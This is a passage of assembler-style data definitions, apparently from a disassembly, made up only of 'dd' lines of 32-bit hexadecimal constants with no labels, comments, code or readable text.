0F8B6D38Bh, 320069FCh, 0C120165Ah dd 0EEF207E6h, 0BD0F950Ch, 775C5C58h, 32B49018h, 0C2B33C7Bh dd 4F503660h, 5C6E4226h dd 71D08300h, 2AFA29BDh, 5CAD6E9h, 27956857h, 8107AED1h dd 164251E7h, 7995833Fh, 47C20770h, 0BC162E9h, 8A82987Dh dd 0FE5E51C4h, 15B4B6Bh, 0F070CA82h, 521BD40Bh, 0CC252C7Ch dd 2FFEBD65h, 7FC72362h, 5F138CF1h, 0F7015361h, 5E12716Fh dd 3AB20093h, 22069A88h, 0D677E61Dh, 6E04A74Fh, 7A82C7FEh dd 33DB6CBEh, 912C8493h, 1EFD5CF2h, 0CCF9956Fh, 0A522ED20h dd 89F30674h, 0DC394A7Ch, 4F27930Fh, 69DE4906h, 0AE3A2DD9h dd 0AC20F131h, 0B683C86Fh, 0A16FC441h, 792675h, 16A42A5h dd 160EF181h, 0B9B6A6C2h, 4EE4E7Ah, 82E1C018h, 0BC5CE2B6h dd 39084B26h, 0B905174Dh, 0EB4E7A09h, 0F5301B05h, 0DBCB9006h dd 1A97A1C1h, 0B858F1C0h, 3DD8319Bh, 65A68BF1h, 8EFC2E2Ch dd 0E77AEA04h, 9B9C814Dh, 40667155h, 1223B788h, 0E9175679h dd 0A820CBF9h, 1F67BFC9h, 5BD8019Dh, 4A00EBD1h, 2E5A8366h dd 0E216905h, 0D2D68D3h, 0C00AB9E4h, 0BC46B1EEh, 0E9426206h dd 2593D435h, 3C4EDDD3h, 435AABF6h, 552644Fh, 44FBCD33h dd 0B3F9DB2Fh, 8634C425h, 2C8C2BC0h, 2C2E4963h, 70662950h dd 727E974Ch, 469E7752h, 66060687h, 32541D68h, 5B1A6D3h dd 7C2D1974h, 4D55273Dh, 22A42734h, 0FFC39473h, 7B040146h dd 93545F4Dh, 0FC12E377h, 31AABC22h, 0A0926A2Bh, 0F520C14Fh dd 0C7DAA07Ah, 1C27121Eh, 0B2B00102h, 7357B1Dh, 52068FDh dd 0DB0317CEh, 1CACFC7Dh, 31924122h, 0CA1F86BCh, 4CEFC9D9h dd 8E496382h, 90D7B4ABh, 28C58BB7h, 17E88524h, 5E477B8h dd 0EEABD6C0h, 1962FC30h, 5E35782Fh, 5EFBF6CBh, 1C8A42C0h dd 6EEFC40Dh, 0EF162Ah, 0D5E78054h, 51135266h, 70B849B1h dd 99F72814h, 0C167E034h, 65113022h, 4008ED3Ah, 0C46D9FB3h dd 0ADA4185Bh, 0C39A17CEh, 6805846h, 0BB4AE950h, 0B1BDC113h dd 3FFDA9Eh, 0C235C8D5h, 46B09FB0h, 79979E2Bh, 28D1656h dd 663568A5h, 2997A459h, 25C5DC3h, 608405F3h, 0F97533B3h dd 7AE95844h, 291F134Dh, 61293BAh, 0E402EA84h, 0C40548D8h dd 7AAAC864h, 80D1F601h, 31E8D3C1h, 8814C3B5h, 0F2D859CAh dd 16502C70h, 3770B6ADh, 0CDEFF04Bh, 2B586118h, 7E3921C2h dd 0B81E25h, 0BD03CA6Bh, 744BF724h, 610F84F8h, 12E100Eh dd 0D9EE02D6h, 6E7C632Eh, 5B098110h, 3359148Bh, 7B0CE961h dd 6F3E296Bh, 4052DC98h, 0CE7289BCh, 59165F90h, 5EBE4B9h dd 0A1FDE9A8h, 0C7A12BBFh, 81D1752Ah, 49892F5h, 3C2E5980h dd 0A9655C21h, 7FBD55B1h, 0AA34FCD6h, 3BA54ACh, 4E895F4Fh dd 2EC60C06h, 801A3423h, 63FF0984h, 7690D870h, 0F901F0B0h dd 63685F0Ch, 0F521E954h, 92ED293Ah, 0DEFB560Ch, 535C0080h dd 671C1EBBh, 0B0829844h, 0D27920E3h, 305D3412h, 49AA6A12h dd 3A240FB1h, 54FDAA54h, 0F9AA05A7h, 835E12BCh, 40968AFCh dd 65D4DE48h, 0F05B217Ch, 0D2594FF8h, 3F31F650h, 20FC6B7Fh dd 0B9058438h, 54323BB1h, 0CCF092EAh, 0E24AC2C4h, 60D7CEAAh dd 3609FD0Ch, 57E9126Ch, 123DA2B8h, 0EFE97381h, 8F167603h dd 9C024E74h, 0A7DBDCEEh, 9A666B41h, 6631D7FBh, 9EE56BC3h dd 0BF238530h, 0BA562005h, 0C1AB4774h, 0B9C48DD3h, 4C1894C5h dd 0C0C105C2h, 0C8C09371h, 4EE907E1h, 89C504B8h, 9FB382CFh dd 0C5D9C57h, 32FED1BBh, 0C5C4C87Ah, 0C9BADEF7h, 8B3D63C2h dd 5C0FF899h, 0D6223D5Fh, 6DE9C64Fh, 0D686597Bh, 2F72FB5Eh dd 253CE4D9h, 0CDB584Fh, 0E212A408h, 0E9019689h, 0F7C27182h dd 0D1098CD2h, 0DC516308h, 6F86BCF0h, 0C71EE25h, 5027F674h dd 3903DE54h, 267197FFh, 3B3149A8h, 0E2B75AB8h, 46F870ADh dd 78E698C4h, 16B3CFEEh, 8D201310h, 30B00E4Eh, 0C7954F05h dd 0AF302CC2h, 59293A2Ah, 0C6567A0h, 50137387h, 9C62FAD2h dd 10C080Dh, 0F5835F14h, 74308701h, 0E9379F70h, 0EEB9B485h dd 3715D306h, 6A02222Bh, 89A84369h, 24F74D5h, 58050768h dd 0E30EAF5h, 0C4E9A5E4h, 2DAA1094h, 0DCD2FF99h, 310446D5h dd 0B7E049D8h, 398B431Eh, 0FA82F79Ah, 726484FAh, 70639838h dd 0E9C20AB3h, 16D87E2Eh, 1E2AFF55h, 0CCD965Ah, 4B76BD00h dd 6A31623Dh, 258AB838h, 461834DBh, 0E2044247h, 384A2904h dd 8F8CB2ABh, 39DA8172h, 97662C4Ch, 7DAA6802h, 0A7EC1767h dd 4BBB5B5Fh, 0C2FC2773h, 0D90E9E1h, 5C25981h, 3E69935Eh dd 0C9F6500Eh, 5F725D91h, 377B8398h, 68570CC0h, 5E8125B5h dd 89E7A041h, 8FF41B28h, 24DEC830h, 1E511E05h, 94290F1Fh dd 3150072Dh, 0C4563F1Dh, 2E3E2EC8h, 0E971DF02h, 36FFA670h dd 8B0F1368h, 0BFAB52F5h, 0A2C80BD2h, 80AB24EDh, 3179F2D4h dd 49D6E4CEh, 0D16FA5Ah, 29AED50h, 983E92EBh, 2D60D5F4h dd 74AB268h, 4A50328Ch, 0BE08DC92h, 485894A9h, 2064789Dh dd 20A4FA27h, 68E640B2h, 33FD5F4Bh, 25D0E510h, 0D2637DACh dd 1954A4D2h, 0D7894D1Dh, 834FA9D5h, 0C0B85029h, 413F54Bh dd 0C02DC5BEh, 5680EA68h, 4AB7E946h, 4D4B9084h, 475E5113h dd 7EE06617h, 56669737h, 0A1569307h, 8B838910h, 0F55E05C0h dd 0EB61456Fh, 89FA8784h, 9741305Dh, 0AD756A4Ah, 6FE0F4BBh dd 0E90C0AE1h, 0AD1835CDh, 0A340A090h, 705A9547h, 0C0686E09h dd 96E500F9h, 711A1C0Ch, 4DF1B749h, 26CC8F08h, 65940902h dd 9D9B1C77h, 7C21DD9h, 6BA5D53Fh, 4E3DACA9h, 68312EBFh dd 2119E114h, 756B4086h, 0B694FB6Ch, 2FBDA312h, 0DD88DD17h dd 0B5DE6082h, 87E6C028h, 0F4A5B227h, 0CA40788Ch, 5EC31DC7h dd 0DF126C03h, 547D009h, 9C38D22Dh, 391FC171h, 37E73A95h dd 7FC90896h, 25066805h, 0AD80CE37h, 0BD634010h, 0F413217Bh dd 0AAF9BA52h, 0BC7365C4h, 20EDC958h, 6F9FB863h, 0D490344h dd 3CF03FC8h, 28E1B0F9h, 2817D7C2h, 1C7ED9D9h, 3F0F9F75h dd 1B1C6FBh, 2D270B63h, 0A493D560h, 93F46EF3h, 0A2B94343h dd 4CB44A86h, 0F05B2DE5h, 0B3159FC9h, 4543E90Dh, 0B1BF43Bh dd 8EB76E4Eh, 6C295748h, 84131183h, 2E9485AFh, 0BB63C0FBh dd 4C1D9F6h, 0B00A840Fh, 65C1E964h, 81120692h, 6FC9CBF5h dd 1C17E0FDh, 0B135AC3Ch, 54FC9AB5h, 63229CBAh, 73485B36h dd 5FEA4E1Bh, 9E29495Ch, 5DAF81F9h, 0F25F7B32h, 958F7A87h dd 0FADE1CF5h, 0C010C286h, 83C007E7h, 0FE5C08C3h, 127A2076h dd 1EE2959h, 0A277ED9Bh, 5752603Ch, 0BB6707B6h, 763A2731h dd 81E13Ah, 553BA0C6h, 880F330Ah, 0C2AFA4E0h, 94DA40CDh dd 80109D81h, 6495CA22h, 0DA011210h, 30A2AB53h, 0B2DEE983h dd 2D5E2A12h, 0CF6ADD6h, 153F2271h, 6002A97Ah, 0D4E90291h dd 361E4ADh, 5AAF3590h, 28F1DEBDh, 5E987277h, 75D520A1h dd 0EE2F3725h, 30E56001h, 0A1F8178Dh, 3F209FC2h, 3E227BC7h dd 0F7010913h, 0C086810h, 446802E9h, 5F10B088h, 4A840F60h dd 8A8FA6A4h, 0C875B5Fh, 4C5D820Bh, 0C2397C7Eh, 9B5D4043h dd 9B2C2B04h, 0CBFE0322h, 91F9C386h, 5387297h, 28090208h dd 0D86B0082h, 95A29508h, 7514D994h, 0D9E0054h, 0B4BE1EEAh dd 1F090E01h, 2097B5E9h, 0E43CC5FBh, 43C09D68h, 0A5032405h dd 4EE9E63Fh, 0B3250FD5h, 0ACD2EF3Dh, 2CCA1C22h, 784F742Dh dd 98971995h, 501DCD6Dh, 0EC5F72Ah, 52853A1h, 0B709A872h dd 5CD95FA1h, 1779CAF8h, 17E7A02h, 0D6CE24Fh, 0A06F39h dd 0D9035980h, 48A1161h dd 8AEE04A4h, 60C925E2h, 0BD61B7CFh, 0EAB787CCh, 5AD85D6Dh dd 0F3F3C85Fh, 0F93E8D5Ah, 0BDC06B5Ah, 0B1B4BCE9h, 68644F3Bh dd 23AC126Fh, 2C8ABD7h, 3D545C53h, 33142619h, 4FC3646Dh dd 0A141D5ECh, 1E601761h, 99FCF4EEh, 27ADBB99h, 605F0F41h dd 7F3CA9E9h, 68409EF6h, 0F4B36A12h, 4EC31510h, 6DB38CBFh dd 0F6405D62h, 1DA25F54h, 0E040C7FEh, 569625D7h, 9CE2CF93h dd 1EBA5580h, 29E47271h, 38E9CA3Bh, 2CEB4BA3h, 6813522Dh dd 2060781Ch, 48CA62CCh, 0C834D57Ah, 6A84FF0Dh, 164792BAh dd 4FBAF0D7h, 0D9482D3Ch, 76AB2EE9h, 7D5C8AC2h, 166A660h dd 13753432h, 3BF7D8E9h, 0C2B4D5F9h, 82F2C433h, 0C56FC0EEh dd 2578FC8Dh, 2C73E5D8h, 0E9400402h, 34E6B0BAh, 7C2CCE12h dd 8E08FB09h, 8CBABC86h, 16D12858h, 205A2EFCh, 0BB59083Dh dd 6DC68439h, 0D0AF6B51h, 0F707EBA1h, 0C604DB6Ch, 5E84FA2Ah dd 21B8A05Ch, 5D5BDE2Dh, 3FF7006h, 0F0040CDEh, 0B080908Ah dd 134B2B69h, 10F50144h, 0A4C0817h, 0B9DF84h, 0B02332BDh dd 0E5810472h, 0AB141563h, 0D265B71Fh, 1216A22Ah, 324B5DBFh dd 0E55F4925h, 0E47393BFh, 0AA01CB8Bh, 6812CF36h, 0A62B72ECh dd 237400CEh, 48E97F1Ah, 0E1249980h, 60D1F759h, 0DA7231B0h dd 8D369h, 670BC306h, 8E0F1346h, 4ADE4E4Ch, 0D7AA85E4h dd 0AC89D193h, 578C975Eh, 0A8F1CDFAh, 4944C5B9h, 0E031708Fh dd 0BCF6B757h, 406B4251h, 9D4AF3EAh, 34F63AE2h, 0F5A78F6Bh dd 16D78E09h, 4D689821h, 6BC6FC9Bh, 2B2F1D4Fh, 8BD69A56h dd 6AE4053Dh, 8FC68AFDh, 0EF5E835Bh, 6701ACD5h, 452375EAh dd 481942Fh, 0B83BE908h, 97BD4EE0h, 0BFCF2F12h, 793FFE31h dd 5D618799h, 2BC3ED5Fh, 0B21677BFh, 227B40F2h, 1B63BCA8h dd 0C5AD6A9h, 0D034877Eh, 9909C728h, 220A0566h, 0F5C8EAA8h dd 6C1EEDACh, 1CCE7C18h, 4F096436h, 18C28822h, 0BB3AC441h dd 0EA74C36Dh, 37630968h, 9CC5558Dh, 0E9AA273Fh, 96248014h dd 0FB40B50h, 375EE4D0h, 0FC4C6F28h, 0F4800E86h, 5FEB65BDh dd 3DB781FBh, 0FF3EA788h, 0F34AE14h, 21C60ABDh, 2F4A945Eh dd 464FE874h, 43FAB62h, 873D93BAh, 58C3AD55h, 47E9C56Dh dd 0CBF68A0h, 597E418Ah, 4E129E22h, 49727291h, 56DF41CFh dd 0CCE68100h, 1AB82313h, 69000112h, 0F031B35Dh, 0BE5C4BE9h dd 6ACD690h, 4B2F7B87h, 0C681D05Eh, 7A7941F5h, 9F3A5895h dd 6ECFEBF0h, 0C1C6113h, 0F360FA31h, 83739508h, 85DD2909h dd 0E94B06AAh, 0A68D7BD5h, 967F6980h, 69929CB8h, 0AA5D050Bh dd 5E02A2F1h, 5512B768h, 1696986Ch, 463B763Fh, 799577EAh dd 6BFCC905h, 8846B305h, 91D381FBh, 4CB12695h, 0FD508BF8h dd 0EB2DA9E8h, 6B5E7702h, 8805F801h, 0A82ECE07h, 0D426ABA4h dd 840E170Bh, 9F88A4B2h, 905154E4h, 2A6B027Ch, 374C681Eh dd 0DAB849A0h, 620FB62Ch, 0C512BD55h, 18FA3CFBh, 614C12ADh dd 2D69E300h, 115E1C41h, 221FD29h, 0C9820804h, 0D530029Bh dd 80D545F5h, 840FC5FEh, 99C4600Eh, 34FE0405h, 0A1FBB80Eh dd 0A04B5954h, 468EB802h, 715C2934h, 6E684802h, 0E783FD09h dd 61257032h, 0E5ECA20Ah, 986D7F45h, 6A03E984h, 0E4535FC8h dd 4ABB7BF8h, 0BC991325h, 5DC0F424h, 4F3D1217h, 4136AD55h dd 0A7B23E08h, 0A6685604h, 8F30BF74h, 7836381Eh, 27FE5D15h dd 7805C594h, 0A03A8F20h, 0F3316815h, 7655A772h, 77A1B34h dd 5E251344h, 0EDCCC44Eh, 5802766Ah, 3178742Ah, 0C46C5711h dd 496CA331h, 3535BF7Ch, 12D01160h, 445EE80h, 13B27627h dd 5AC48AFBh, 9AFFC904h, 78DE813h, 0D4F6C6E4h, 412FEB5Eh dd 0EE208825h, 39BF80BDh, 3A445516h, 0A435C5FBh, 19D23EDEh dd 0C7E511BFh, 0CD9AAEC5h, 6E6DE16Eh, 3848F790h, 0D1155E54h dd 87425B1Bh, 0FF584F35h, 0E28CFE1Bh, 5B00157Bh, 0E853A52Dh dd 0F001125Fh, 0EA1F0155h, 0DA32C826h, 9EBDAD5h, 8C38058h dd 9509BE7Eh, 653D5E01h, 0AE5395C2h, 410F3E6Ch, 7C6285CDh dd 92BF3F64h, 0A6F405EFh, 0B090DEBAh, 0B5E644E9h, 0F1E9E874h dd 7568856Fh, 12FE4455h, 0F32AEC1Dh, 183138Fh, 0AC4C906Ah dd 750F3A5Bh, 2B4EF387h, 2D557A56h, 328270E9h, 2F77B8B4h dd 791564E7h, 0FD4C3DBAh, 6B4B3A33h, 2F25DFC6h, 5FDFFC59h dd 911011B6h, 0D0977C8Ch, 0A1E55EFCh, 49C127E3h, 0AEB91084h dd 860B9E58h, 6D760F3h, 0B124AA4h, 733D4D10h, 7A5D4F09h dd 2A2400F2h, 0D529A59Fh, 595D8CE9h, 4CE52F20h, 8ED0591h dd 0AA3A100Dh, 2F08E750h, 808E3458h, 0E0CDB0A5h, 0ADE912C6h dd 3924AB8Dh, 82FBB3EEh, 53C42DE9h, 67D4AFF6h, 0F167F0Ch dd 2D5924CDh, 1A2F3844h, 7801878h, 844FE95Dh, 0AC4DD70Dh dd 6238E541h, 0C42EA8F1h, 5AF5CA18h, 0ACD813AFh, 9EB54088h dd 4043E859h, 6E62BAD3h, 0E0BDE20Bh, 0FD64A97Bh, 2DF18421h dd 39090EA9h, 44BF1420h, 17EF20EFh, 90007D90h, 8114842Bh dd 2519E4E1h, 0B6FC0147h, 3EF0B634h, 4F515CB4h, 0B544FF4Ah dd 8A1679D5h, 88257E7Ch, 5D344AC6h, 7BFB8A0h, 0C95DE26h dd 0E81E12E1h, 0E9281D6Ch, 5C30B3CBh, 24BE1DB1h, 89A0CA22h dd 3E3E4E91h, 65B59644h, 5E4FCBEAh, 61164BA2h, 4B92A73Ah dd 0AB1F95BFh, 68D0E7A1h, 0A2374AE7h, 561A10A6h, 28755827h dd 5E1393B9h, 87C888FBh, 0DE48B66Bh, 0E53C8C22h, 2F9A5A20h dd 9898CBE0h, 0B990B176h, 0EFE2894Fh, 2D352D84h, 0D787DB42h dd 0DB33CF46h, 105910F1h, 62697BAEh, 61CAB298h, 488E48F8h dd 0B0F3835Fh, 0A304EA29h, 0CF31DB71h, 0AB7D1905h, 57FA8735h dd 100BF853h, 250B980h, 0A32E1FA0h, 75E46F13h, 0B52B5737h dd 0E48872C4h, 70351D42h, 85EA8168h, 2AFF11F6h, 9F503E4h dd 8CFCBCEEh, 0F833A04h, 408D6980h, 40282E7Bh, 22B82CF8h dd 0BEA5BBA3h, 54825A89h, 1F783A37h, 0DB2038C2h, 547DF8BFh dd 5FBC624Ah, 0BC93FC59h, 0D5A62EBAh, 3C122996h, 0F7E54500h dd 4031D361h, 0CE4A3ADDh, 2F62A6CCh, 0D2809A22h, 38EE7C32h dd 747B82B5h, 20FAE017h, 856594D7h, 0EA2D6858h, 93B02A16h dd 567400BEh, 0F131E421h, 297095Eh, 0FC7B6F82h, 3E9580B4h dd 7EBB66D3h, 0A80FCB13h, 0F7D803FAh, 7A0743DBh, 71E3608Bh dd 0F9E94B70h, 907D95ADh, 0F1AEDA1Ah, 0BC945FE6h, 2E4571FDh dd 0BED243B2h, 0B95BFAE7h, 54A0A1B8h, 0FF15024h, 8AF4A4BFh dd 823864h, 0C90DD8F7h, 0EEE3E41h, 2F6B4718h, 0A1292E7h dd 0E31D0BFBh, 5BAA5440h, 625FE94Fh, 0F26824A9h, 0FCF41758h dd 69FB845Bh, 0F1AA05CCh, 0A1943999h, 0BB3AF801h, 55D2E232h dd 873DFEE9h, 39F280C7h, 5D6BE482h, 5495CF6Ch, 63F85046h dd 56DEE7C9h, 0C20A37ECh, 94FE7E69h, 0B7E35552h, 2ED70F4Ch dd 6C44DFC0h, 0A4BB1394h, 5D952976h, 6EC1E91h, 0E95409B8h dd 94D77D10h, 406817CFh, 9C08CC2Dh, 27AC554Bh, 0E1C9E5E7h dd 9B937AD7h, 0B3EB8DABh, 950D162Bh, 0BDABD8BAh, 0F9684E0Fh dd 71EA094Dh, 0DCF9A7E4h, 6762E90Ch, 83DD35Ch, 6603B84Fh dd 0D3E52C5Ah, 0B7F88326h, 9C4E64Bh, 7E988B7h, 7EBF7878h dd 536E88F4h, 0C4745B16h, 4EC5F7EBh, 0BEE26438h, 0C95C18D6h dd 1E4EEB68h, 0FB73B8CCh, 0CFC42C28h, 1BBBCBF7h, 0DB069Ah dd 147CBBB1h, 0EBD15443h, 58D3F727h, 4AAE09C5h, 44DF5EBAh dd 515604E3h, 0F8D389E9h dd 503BCB10h, 0BDB84A9Dh, 4FB5E60h, 0FE53F42Eh, 0AB5A488Ah dd 86288B39h, 997E28B0h, 0E92D433Bh, 12295C0Bh, 439C123h dd 0EFD97EF0h, 0D8C1A1E5h, 50C21E78h, 1DE0DDB4h, 6B91F3E0h dd 0E8BD2944h, 0ED5EB694h, 0E9508108h, 5922A634h, 0E79C903h dd 0C0740AAh, 2298273Dh, 3FC1E9C7h, 6D7076BAh, 0EF48129Ch dd 0ED9EC271h, 94C50889h, 93126688h, 0FF8DBA7Fh, 5A7C25C8h dd 16FA520Dh, 0D874C579h, 0F52D68A8h, 2AFD4679h, 1CAC6C8Ch dd 565A8EE2h, 0A25C0121h, 70D348h, 399C4E76h, 0FD055568h dd 8067830Dh, 7C5E506h, 0F6FE704h, 0EAFC3D80h, 3EC3714Bh dd 0BAA311C0h, 0CFEE6D81h, 7009BD4Eh, 17C05442h, 2E0649EBh dd 6B97F677h, 30944EBAh, 0BEEB8001h, 51B05066h, 0E623C3C1h dd 0ADC41A17h, 98680BB6h, 0E25A983Bh, 15E4B785h, 6873ED05h dd 30FA6248h, 0E1E9D74Eh, 0B58A434Bh, 0F53FF055h, 8BEEE1E4h dd 8E55E6EAh, 80BE53C1h, 2C310D84h, 5CE94D27h, 81B1A63Dh dd 68F22EF1h, 0E1AF0401h, 5A0B018Eh, 0F4DE4F7h, 4B2B8915h dd 52351398h, 0F01305B3h, 0BDACA4B1h, 2B260605h, 6984CB29h dd 0E59080Dh, 0D91118E4h, 46EB0C1Eh, 0CF0D1C08h, 0C1BBE1Ch dd 3008A56Fh, 0D9309D9h, 2E88BA00h, 64F7337Dh, 0AA60FAD2h dd 49350B3h, 0ED1CAF11h, 8B7C86A4h, 0CDAE25C9h, 307B2957h dd 82835A60h, 0FC1860DFh, 12F6BB07h, 17F4BA5Ch, 0CF5041E1h dd 2CB5BCB1h, 2348C4F5h, 113CFB17h, 1AB09908h, 44D747BEh dd 48197536h, 2313996Ch, 0FB9CFBF3h, 251A76CAh, 1CD60976h dd 0DC0911A4h, 0FD0BA6AFh, 9E4E553Ch, 78F6417Eh, 803CC836h dd 5621FE0Ch, 0E3B0E92Ch, 0ACD8443Ah, 5A3D8C99h, 0BF575201h dd 48E53233h, 4844E22Eh, 0BBAB1091h, 0A57E9C51h, 0AC217A2Ah dd 57BA5629h, 16875E77h, 3C9FE85Ch, 0EBBF9251h, 5E7DB3EAh dd 0E94AFCA2h, 0CCD8000Fh, 6205B66Eh, 0B9B55E14h, 5B074073h dd 0A192505h, 0A4847632h, 12DA8D80h, 929002Ah, 68565DE8h dd 0D7120488h, 2EB5E67h, 9416E9A1h, 680068F1h, 28F6296Dh dd 0F480B58h, 3778618Eh, 20B63509h, 8303F778h, 0C51E4754h dd 8B4502E8h, 46BFB4E0h, 55A72E8Ah, 297334B0h, 7E924ABCh dd 0DC0C20EAh, 2A4E1BB1h, 805E79ECh, 0AA6FBDFFh, 0A0EDB698h dd 0DEEA0824h, 73EFED5Fh, 4837592Ah, 0A0521A82h, 79A2774Fh dd 945DA184h, 956C97ADh, 2E9B06F9h, 853BB7B6h, 0F6726851h dd 5B4041Eh, 63C8E688h, 0CA5E587Bh, 712158A1h, 54A46EEBh dd 0D509BDE2h, 7D2537FCh, 7DC99B47h, 50CB5079h, 0AC6810BAh dd 3DE90C40h, 5818129h, 770973EFh, 1D50BB0Dh, 0E3BD5808h dd 0C7FED0h, 3E61DEC7h, 68535663h, 252F867Dh, 6792E02Ch dd 0E8930C64h, 0C612DE89h, 4D1A6D01h, 3E5CE921h, 4628D26Bh dd 2A2DEB41h, 0E9693CEEh, 0E1C03C98h, 99B09FF6h, 3859BCA0h dd 0E5555FA5h, 0C729933Fh, 6D8606BFh, 7C2CB625h, 125E24F9h dd 0DB2EBD4h, 560629D4h, 0C01C408h, 0AB0276F6h, 96830F45h dd 6ACED5A0h, 7D53122Fh, 0D68E4410h, 790FBBFh, 0B5F1968h dd 0A8C5E7DDh, 386AB5D6h, 0BB48055Dh, 83F0C1FEh, 0A0E63FC2h dd 0F80EC741h, 9ACCBE4Eh, 1F5A31E9h, 284FC07Fh, 0B654C4ACh dd 5E2D46B2h, 0EF97FA56h, 0C4AA77C4h, 80F3EF65h, 620B532Dh dd 0E96FA1F1h, 48387A1Bh, 0E320AED3h, 2B9E5B84h, 4B6BE950h dd 0D44AA220h, 0B6620449h, 0B284347Dh, 5FBE052h, 0FBD701C4h dd 8A045C29h, 0E1979AA3h, 82EC6E7Ah, 0E9AF84BDh, 4AAD2D3Fh dd 8774D607h, 6D95B332h, 0DB0EDA5Eh, 0BB7401h, 135D2CA3h dd 5D08E6C1h, 0C6031A4Eh, 0A42FF149h, 0C2842860h, 5AA33BFBh dd 2C494508h, 2DE3EFC9h, 0D5B95100h, 56E195Ch, 0D039B3Ah dd 6AC82921h, 7E100815h, 18F83487h, 0E9E21912h, 7A6F22C1h dd 0AC6E03h, 0CC7D4707h, 2DF0820Ah, 0C2680781h, 40692478h dd 0C092664Fh, 2590548Ch, 0A0BE4EDDh, 0B561E232h, 1ABC9F5Eh dd 5710A8E4h, 7E98146Bh, 0BA4FB4CFh, 62F7410Eh, 5E226968h dd 0D2F3674Fh, 0FA40D1B3h, 42EE52BFh, 0BC90A8B8h, 21290881h dd 1905F44Ah, 0CBD5083Dh, 702E5F1h, 6456775Dh, 0C416FE50h dd 0E8BAEDD5h, 18582D4h, 4E5F0975h, 0CC2286FFh, 0AB4FA2D4h dd 0C4E30F5Ah, 5B94D825h, 0C5585A27h, 0A8CC968Eh, 4FF84F7Ch dd 820990E2h, 5EB17EADh, 6206EBC4h, 26EC229Dh, 9B1222B4h dd 0EB94708h, 77E4CB01h, 0FC949418h, 745E16AAh, 613E662Dh dd 0B24D1Bh, 2E08EFC1h, 2C4D5057h, 0FF971305h, 78CACC09h dd 0B9B23BC6h, 5720B5F6h, 5A4D7FEBh, 0C30C1160h, 0BC729512h dd 0E4622879h, 61FE2D1Fh, 3D416C7Eh, 0CAEAC289h, 76C57DDh dd 759E9F8h, 62AC4ABEh, 5F46A993h, 6A210FA5h, 0E7C002E6h dd 0CC508C87h, 52005934h, 1557AFBAh, 0C2540138h, 74295A42h dd 2075F1DDh, 0AAB58311h, 2314FD22h, 0CA34595h, 5D64F471h dd 4EEF0126h, 153BA103h, 5D34DA46h, 996AC9FCh, 37AA8713h dd 338F83FDh, 0ABDDEF85h, 0C4ABB720h, 13F60463h, 0A01EE0B2h dd 3B457DDAh, 82527097h, 0E1996927h, 0D26ED4F0h, 8649EA39h dd 0B091F0FBh, 945B2DA8h, 0E9E1A5FCh, 168B9938h, 4CD75058h dd 0C440F4E3h, 1269673Ah, 8C998CFAh, 0D527B294h, 938574B8h dd 858576B5h, 0AB381068h, 0E90B658Ah, 0CEFF79C9h, 59B904DFh dd 0AF315207h, 89099FCBh, 0A916305Ah, 2A9F614Ch, 0DB7787B6h dd 4F847F4Bh, 7EF9B156h, 3694AA92h, 88EBC385h, 8995A44Fh dd 233DE83h, 4138EB11h, 89495C55h, 0A6F502E9h, 9009B8A1h dd 0A046EF45h, 26990514h, 0A94408E9h, 5825D575h, 4E31E167h dd 39F10101h, 35EF1341h, 0F5F7EC8Ch, 50A3933Ch, 817547D9h dd 5D5BB80Dh, 82687ABCh, 0FD0932Fh, 59EAF9BFh, 2DC43A2Dh dd 2CC365ACh, 0A2275153h, 11B2FDD3h, 3B59D177h, 33150104h dd 779DC074h, 0DCB0E456h, 75CECB00h, 0F0E92854h, 0AE01829Eh dd 0F94DA6C7h, 180C8235h, 605632AEh, 2A4EA11Dh, 0E0B75EB1h dd 0E5ABC053h, 68334BC9h, 0F9697B90h, 0A9C57778h, 9E18C15h dd 2259CB09h, 44A9305h, 0ECB1AF68h, 5B35C648h, 0B6BD91AEh dd 6E356E84h, 1CCCA006h, 32D177EFh, 532E8A9Ah, 0FB9736ECh dd 0D5E91C62h, 0F7038B81h, 394DFA12h, 0DB5F47EFh, 0EF40B905h dd 62EC3A90h, 3558002Eh, 1A5416E8h, 2B09ED81h, 520A7364h dd 580881E0h, 40818F6Fh, 250250B4h, 0CEE973E3h, 7714D772h dd 2324F17Ah, 0B8167E02h, 0B97F00B1h, 0C568A0C2h, 5AD8B40Ah dd 58F67C55h, 6295FCE9h, 551111EAh, 883906F0h, 599D825Bh dd 4A8B4F54h, 0D5F4A6D7h, 0DC838004h, 2A6B121Ch, 2000BE45h dd 2913B1E2h, 59E916EFh, 0E883A83Ch, 0F6484A4Ch, 71EB18C3h dd 97AA6C7Bh, 8BED64E8h, 0DD57D0h, 56CA6EC1h, 0B6269568h dd 0C23A6743h, 42FD5165h, 8BEB7D3Ch, 0C263EA2Dh, 0C86A56BBh dd 88541687h, 0AFE394D9h, 0FA01CC69h, 9C3D4BA5h, 0C9406D41h dd 0C07007BDh, 0B931D157h, 974484h, 590EE5BAh, 0CA81022Eh dd 49D206EDh, 0F117ED40h, 0F9902425h, 0C569AD54h, 5705E294h dd 4EA3A201h, 9C400EF1h, 5A3028E6h, 2C3DF12Fh, 71AF4E50h dd 3268EF0Dh, 24E30B21h, 0EAEF8759h, 44C62D11h, 5D2F2F0h dd 1FD10F4h, 0B84E82D5h, 8462BA54h, 0AE5D2916h, 75CA846h dd 945AC68h, 51A2EEDFh, 352B1629h, 5104AFBEh, 0EE49AD3Ah dd 331EAA5Dh, 9E2D7425h dd 0C4E6535Ah, 0A6E3FFC6h, 0B9533112h, 71EED381h, 3F0D1FD6h dd 150B4352h, 6744A89h, 9F0E4886h, 80A794C5h, 0F45A432Eh dd 8109B70Fh, 24D278DFh, 0C02C402Fh, 7D9A06A0h, 3501879Eh dd 1F6681ACh, 643AC682h, 0CAF534F2h, 0DF080937h, 2162D979h dd 434C55F1h, 3DE1BBB0h, 8C59132Ah, 48CB8846h, 614927E3h dd 742FF466h, 0D20DAB7Ah, 725748C2h, 90DC292Ah, 0BF1120B7h dd 6EF9595Eh, 88B60404h, 8C0EC0C0h, 6458DF29h, 745A044Dh dd 0ACAF1177h, 0C3C29F2Ah, 0FFA5D3E9h, 872DB65Ah, 76344ACBh dd 33CA3414h, 0D7165803h, 32AA6D68h, 0F65F5635h, 60E9D096h dd 0B9B4A9BDh, 57E279C0h, 451BD418h, 523A3212h, 2C03D2ECh dd 12BA1CF7h, 0AEE5DA83h, 50422206h, 5FCF0120h, 0EAE97BF3h dd 0FD902FA8h, 0B0914DDCh, 86E12062h, 0F0505897h, 0CB435EF3h dd 74EE9793h, 0E37E82B2h, 5878D670h, 0A71365B5h, 5B5BF96Eh dd 0B6D211F6h, 57E51CB6h, 5C75727h, 121F620Eh, 4BD6F6BBh dd 94EE6E01h, 46E86059h, 628D2DE9h, 